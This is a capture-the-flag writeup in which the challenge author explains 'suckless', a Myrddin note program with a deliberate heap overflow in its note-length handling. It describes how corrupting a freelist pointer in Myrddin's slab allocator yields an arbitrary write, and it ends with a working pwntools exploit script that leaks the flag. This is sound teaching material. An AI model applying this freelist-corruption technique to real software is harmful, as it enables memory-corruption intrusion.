#+TITLE: UMass CTF 2020 - suckless Writeup
#+DATE: <2020-12-13 Sun 18:16>
#+TAGS: writeup capture-the-flag security binary-exploitation myrddin

Well, this is certainly overdue. It's the writeup for a challenge I authored for
this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm
late. But when you attend a university that tried very hard to squeeze the
[[https://www.umass.edu/coronavirus/news/umass-amherst-announces-fall-2020-reopening-plan-under-extensive-public-health-and-behavioral][entire semester twelve weeks]], you're going to deal with burnout and not nearly
enough time to do things outside of your coursework. So I'm finally coming back
to the challenge now that the semester's ended.

# TODO: Link to other writeups.

suckless was released on the 9th, and no one solved it. The challenge revolved
around a program, =sldiary=, which allowed the user to create "notes" which would
be saved to memory and could be recalled later. It was written in Myrddin, which
I [[http://jakob.space/blog/first-impressions-of-the-myrddin-programming-language.html][wrote about]] earlier this year. The source code for the program was provided
with the challenge, and is listed below.

#+BEGIN_SRC myrddin
use std

var flag = "You neet to hit the server for flag"
var version = "sldiary 0.1.1"
var versionptr

const intro = {
	versionptr = &version
	std.put("(\\ \n")
	std.put("\\'\\ \n")
	std.put(" \\'\\     __________  \n")
	std.put(" / '|   ()_________)\n")
	std.put(" \\ '/    \\ ~~~~~~~~ \\       {}\n", version)
	std.put("   \\       \\ ~~~~~~   \\\n")
	std.put("   ==).     \\__________\\\n")
	std.put("  (__)       ()__________)\n")
	std.put("\n")
	std.put("type 'help' for available commands\n")
}

const showver = {
	var tmp = flag
	std.put("this is {}\n", versionptr#)
}

const addmsg = {n, buf -> byte#
	var i
	var msg = std.bytealloc(n)
	for i = 0; buf[i] != ('\n' : byte); i++;
		(((msg : std.size) + i) : byte#)# = buf[i]
	;;
	-> msg
}

const msgstrconv = {n, msg
	var i
	var sb = std.mksb()
	for i = 0; i < n; i++
		std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char))
	;;
	-> std.sbfin(sb)
}

const getln = {
	var sb = std.mksb()
	var buf = std.slalloc(0x40)
	match std.read(std.In, buf)
		| `std.Ok(n):
		| `std.Err(n): std.die("i/o error")
	;;
	std.sbputs(sb, buf)
	-> std.sbfin(sb)
}

const main = {
	intro()
	var notes = std.slalloc(0)

    var line
	while true
		std.put("> ")
		line = getln()
		if std.strhas(line, "help")
			std.put("help: print this\n")
			std.put("new: make a new note\n")
			std.put("show: show all of your notes\n")
			std.put("version: show the version of sldiary\n")
		elif std.strhas(line, "new")
			std.put("note length: ")
			std.slfree(line)
			line = getln()
			var len
			match std.strfind(line, "\n")
			| `std.Some(n): line = line[:n]
			| `std.None:
			;;		
			match std.intparse(line)
			| `std.Some(n): len = n
			| `std.None: std.put("invalid length\n"); continue
			;;
			std.put("note: ")
			std.slfree(line)
			line = getln()
			var msg = addmsg(len, line)
			notes = std.slpush(&notes, (len, msg))
		elif std.strhas(line, "show")
			var i
			for i = 0; i < notes.len; i++;
				var len, msg
				(len, msg) = notes[i]
				std.put("address: {}\n", (msg : byte#))
				std.put("{}: {}\n", i, msgstrconv((len : uint64), msg))
			;;
		elif std.strhas(line, "version")
			showver()
		else
			std.put("invalid command\n")
		;;
		std.slfree(line)
	;;

	std.slfree(notes)
}
#+END_SRC

Even without being familiar with Myrddin, asking for the length of the note
before reading it in is suspicious. And, indeed, this is where the vulnerability
lies. The program reads in =len= ("note length") and =msg= ("note"), and calls
=addmsg(len, line)=, which obtains a chunk of memory as =std.bytealloc(len)= (where
=std.bytealloc= is effectively equivalent to =malloc (3)=), and fills it with the
contents of =msg= up to the first occurrence of '\n' -- the line feed character,
which indicates the end of what the user typed into the program.

So, we can corrupt the heap, but now what?

The caveat to this challenge was that the attacker would be corrupting a Myrddin
heap, not i.e. a glibc heap. So if you were going to solve this challenge, you
would need to have needed to read the source code for the Myrddin standard
library. Fortunately, this is rather easy to navigate, and =std.alloc= is written
in pure Myrddin.

For those playing along at home, the source code for Myrddin is found [[https://git.eigenstate.org/ori/mc.git][here]], and
the source code for =std.bytealloc= is contained in ~lib/std/bytealloc.myr~.

#+BEGIN_SRC myrddin
/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */
const bytealloc = {sz
	var bkt, p

	if sz <= Bktmax
		bkt = &buckets[bktnum(sz)]
		lock(memlck)
		p = bktalloc(bkt)
		unlock(memlck)
	else
		p = bigalloc(sz)
	;;
	if trace
		lock(memlck)
		tracealloc(p, sz)
		unlock(memlck)
	;;
	-> p
}
#+END_SRC

Where the memory format of =slab= is

#+BEGIN_SRC myrddin
type slab = struct
	head	: byte#	/* head of virtual addresses, so we don't leak address space */
	next	: slab#	/* the next slab on the chain */
	prev	: slab#	/* the prev slab on the chain */
	freehd	: chunk#	/* the nodes we're allocating */
	nfree	: size	/* the number of free nodes */
	magic	: size	/* ensure we didn't index into the void */
;;
#+END_SRC

and the source for =bktalloc= is

#+BEGIN_SRC myrddin
/* 
Allocates a node from bucket 'bkt', crashing if the
allocation cannot be satisfied. Will create a new slab
if there are no slabs on the freelist.
,*/
const bktalloc = {bkt
	var s, c

	/* find a slab */
	s = bkt.slabs
	if s == Zslab
		s = mkslab(bkt)
		bkt.slabs = s
		if s == Zslab
			die("No memory left")
		;;
	;;

	/* grab the first chunk on the slab */
	c = s.freehd
	s.freehd = c.next
	s.nfree--
	if s.freehd == Zchunk
		bkt.slabs = s.next
		if s.next != Zslab
			s.next.prev = Zslab
		;;
	;;
	-> (c : byte#)
}
#+END_SRC

Below the comment reading 'grab the first chunk on the slab' is code to unlink
the head of a linked list (=freehd=). When a *slab* of memory is allocated, its
space is divided into *chunks*. Each chunk is initially a pointer to the next
chunk. When we take a chunk to satisfy an allocation request, that pointer (and
the space after it) is overwritten with user data, and the slab's "next free
chunk" (=freehd=) is updated to point at whatever the =cdr=[fn:1] of that chunk was.
It's a pretty simple heap format.

#+CAPTION: Diagram showing showing three "free" chunks surrounding one containing user data.
[[./MyrddinHeap.svg]]

Thus, when we can overwrite the =cdr= pointer, we have a write-anything-anywhere
primitive. So, why not overwrite the unusually suspect =versionptr= used in
=showver=?

#+BEGIN_SRC myrddin
const showver = {
	var tmp = flag
	std.put("this is {}\n", versionptr#)
}
#+END_SRC

If we overwrite =versionptr= to point to =flag=, we can dump the flag. So that's
exactly what we'll do.

#+BEGIN_SRC python
import struct

from pwn import *
context(arch="x86_64", os="linux")

VERSIONPTR_ADDR = 0x0042e850
FLAG_ADDR = 0x42a048

p = process(["./suckless"], False, "./suckless")

# Allocate first chunk.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR))
p.recvuntil("> ")
p.sendline("show")
p.recvuntil("address: ")
dbg = int(p.recvline(), 16)

# Allocate dummy chunk.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline((b"B" * 8))
p.recvuntil("> ")
p.sendline("show")

# Overwrite versionptr.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline(struct.pack("Q", FLAG_ADDR))
p.recvuntil("> ")
p.sendline("version")
print(p.recvuntil("> "))
#+END_SRC

[fn:1] Or =next= if you're some sort of filthy C programmer.